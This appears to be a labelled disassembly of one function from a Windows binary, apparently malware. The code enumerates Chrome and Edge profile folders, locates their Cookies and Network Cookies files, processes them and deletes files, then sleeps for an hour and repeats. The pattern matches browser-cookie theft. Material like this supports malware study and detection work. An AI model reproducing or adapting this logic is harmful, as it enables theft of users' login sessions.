Function at 0x1001b130
Capabilities:
Check if file exists
Create thread
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3d04
call fcn.100d30e0
mov eax, dword [0x1060f098]
xor eax, esp
mov dword [esp + 0x3d00], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0x2bf20
call ebx
xor eax, eax
mov dword [esp + 0x4c8], 7
mov dword [esp + 0x4c4], 0
mov word [esp + 0x4b4], ax
call fcn.1003e060
call fcn.1003de50
lea ecx, [esp + 0x2a8]
mov dword [esp + 0x4b0], eax
call fcn.1002b1e0
lea ecx, [esp + 0x2a8]
call fcn.1002b320
cmp dword [esp + 0x4b0], 0x60002
lea ecx, [esp + 0x2a8]
jb 0x1001b1c2
call fcn.1002b5d0
jmp 0x1001b1c7
call fcn.1002b6a0
push 0xea60
call ebx
call fcn.1001b740
test eax, eax
jne 0x1001b20f
mov eax, dword [esp + 0x4c8]
cmp eax, 8
jb 0x1001b1f8
inc eax
lea ecx, [esp + 0x4b4]
push eax
push dword [esp + 0x4b8]
call fcn.100115c0
mov ecx, dword [esp + 0x3d0c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0x1001bd10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x1fd0]
call fcn.1003dc40
push 0xdb0
lea eax, [esp + 0x2d54]
push 0
push eax
call fcn.100eb400
add esp, 0xc
lea ecx, [esp + 0x2d50]
call fcn.1001cfe0
lea ecx, [esp + 0x1250]
call fcn.10016770
push 6
push str.chrome
lea ecx, [esp + 0x1a7c]
mov dword [esp + 0x1258], 0x1012d5dc
call fcn.10011cf0
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x1254]
call fcn.10010ea0
push 0x250
lea eax, [esp + 0x5c]
push 0
push eax
call fcn.100eb400
add esp, 8
lea edx, [esp + 0x44]
lea ecx, [esp + 0x14]
call fcn.1001c2a0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x1001b2c6
mov eax, dword [eax]
lea ecx, [esp + 0x58]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [esp + 0x24]
mov edi, eax
cmp ecx, 8
jb 0x1001b2ec
inc ecx
push ecx
push dword [esp + 0x14]
lea ecx, [esp + 0x18]
call fcn.100115c0
xor eax, eax
mov dword [esp + 0x24], 7
mov dword [esp + 0x20], 0
mov word [esp + 0x10], ax
test edi, edi
je 0x1001b449
nop dword [eax + eax]
test dword [esp + 0x58], 0x10
je 0x1001b42e
mov eax, 0x2e
cmp ax, word [esp + 0x84]
je 0x1001b42e
cmp dword [esp + 0x54], 8
lea ecx, [esp + 0x84]
push ecx
lea eax, [esp + 0x44]
cmovae eax, dword [esp + 0x44]
push eax
lea eax, [esp + 0x3b08]
push str._s_sCookies
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0x3b00]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001b39b
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x1254]
call fcn.10010830
test eax, eax
je 0x1001b39b
push ecx
lea ecx, [esp + 0x1254]
call fcn.10016970
lea eax, [esp + 0x1bc0]
push eax
call esi
cmp dword [esp + 0x54], 8
lea ecx, [esp + 0x84]
push ecx
lea eax, [esp + 0x44]
cmovae eax, dword [esp + 0x44]
push eax
lea eax, [esp + 0x3b08]
push str._s_sNetworkCookies
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0x3b00]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001b42e
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x3b04]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
push str.Network
lea eax, [esp + 0x3b04]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCatW]
lea eax, [esp + 0x3b00]
push eax
lea ecx, [esp + 0x1254]
call fcn.10010830
test eax, eax
je 0x1001b42e
push ecx
lea ecx, [esp + 0x1254]
call fcn.10016970
lea eax, [esp + 0x1bc0]
push eax
call esi
lea eax, [esp + 0x58]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001b310
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
lea ecx, [esp + 0x1fd4]
call fcn.1003dd50
test eax, eax
je 0x1001b472
push ecx
lea ecx, [esp + 0x1fd4]
call fcn.10016970
lea eax, [esp + 0x2940]
push eax
call esi
lea ecx, [esp + 0x4d0]
call fcn.10016770
push 4
push str.edge
lea ecx, [esp + 0xcfc]
mov dword [esp + 0x4d8], 0x105f9d40
call fcn.10011cf0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x4d4]
call fcn.100166e0
push ecx
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.1001c2a0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x1001b4c6
mov eax, dword [eax]
lea ecx, [esp + 0x58]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [esp + 0x24]
mov edi, eax
cmp ecx, 8
jb 0x1001b4ec
inc ecx
push ecx
push dword [esp + 0x14]
lea ecx, [esp + 0x18]
call fcn.100115c0
xor eax, eax
mov dword [esp + 0x24], 7
mov dword [esp + 0x20], 0
mov word [esp + 0x10], ax
test edi, edi
je 0x1001b660
nop dword [eax + eax]
test dword [esp + 0x58], 0x10
je 0x1001b645
mov eax, 0x2e
cmp ax, word [esp + 0x84]
je 0x1001b645
cmp dword [esp + 0x3c], 8
lea ecx, [esp + 0x84]
push ecx
lea eax, [esp + 0x2c]
cmovae eax, dword [esp + 0x2c]
push eax
lea eax, [esp + 0x3b08]
push str._s_sCookies
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0x3b00]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001b59b
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x4d4]
call fcn.10016060
test eax, eax
je 0x1001b59b
push ecx
lea ecx, [esp + 0x4d4]
call fcn.10016970
lea eax, [esp + 0xe40]
push eax
call esi
cmp dword [esp + 0x3c], 8
lea ecx, [esp + 0x84]
push ecx
lea eax, [esp + 0x2c]
cmovae eax, dword [esp + 0x2c]
push eax
lea eax, [esp + 0x3b08]
push str._s_sNetworkCookies
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0x3b00]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001b645
push 0x208
lea eax, [esp + 0x3b04]
push 0
push eax
call fcn.100eb400
add esp, 0xc
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x3b04]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
push str.Network
lea eax, [esp + 0x3b04]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCatW]
lea eax, [esp + 0x3b00]
push eax
lea ecx, [esp + 0x4d4]
call fcn.10016060
test eax, eax
je 0x1001b645
push ecx
lea ecx, [esp + 0x4d4]
call fcn.10016970
lea eax, [esp + 0xe40]
push eax
call esi
lea eax, [esp + 0x58]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001b510
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
lea ecx, [esp + 0x2d54]
call fcn.1001d200
test eax, eax
je 0x1001b67f
push ecx
lea ecx, [esp + 0x2d54]
call fcn.1001d530
push 0x36ee80
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x3c]
cmp eax, 8
jb 0x1001b6a2
inc eax
lea ecx, [esp + 0x28]
push eax
push dword [esp + 0x2c]
call fcn.100115c0
xor eax, eax
mov dword [esp + 0x3c], 7
lea ecx, [esp + 0x4d0]
mov dword [esp + 0x38], 0
mov word [esp + 0x28], ax
mov dword [esp + 0x4d0], 0x105f9d40
call fcn.100168c0
mov eax, dword [esp + 0x54]
cmp eax, 8
jb 0x1001b6e8
inc eax
lea ecx, [esp + 0x40]
push eax
push dword [esp + 0x44]
call fcn.100115c0
xor eax, eax
mov dword [esp + 0x54], 7
lea ecx, [esp + 0x1250]
mov dword [esp + 0x50], 0
mov word [esp + 0x40], ax
mov dword [esp + 0x1250], 0x1012d5dc
call fcn.100168c0
lea ecx, [esp + 0x2d50]
call fcn.1001d120
lea ecx, [esp + 0x1fd0]
mov dword [esp + 0x1fd0], 0x105fbc18
call fcn.100168c0
jmp 0x1001b230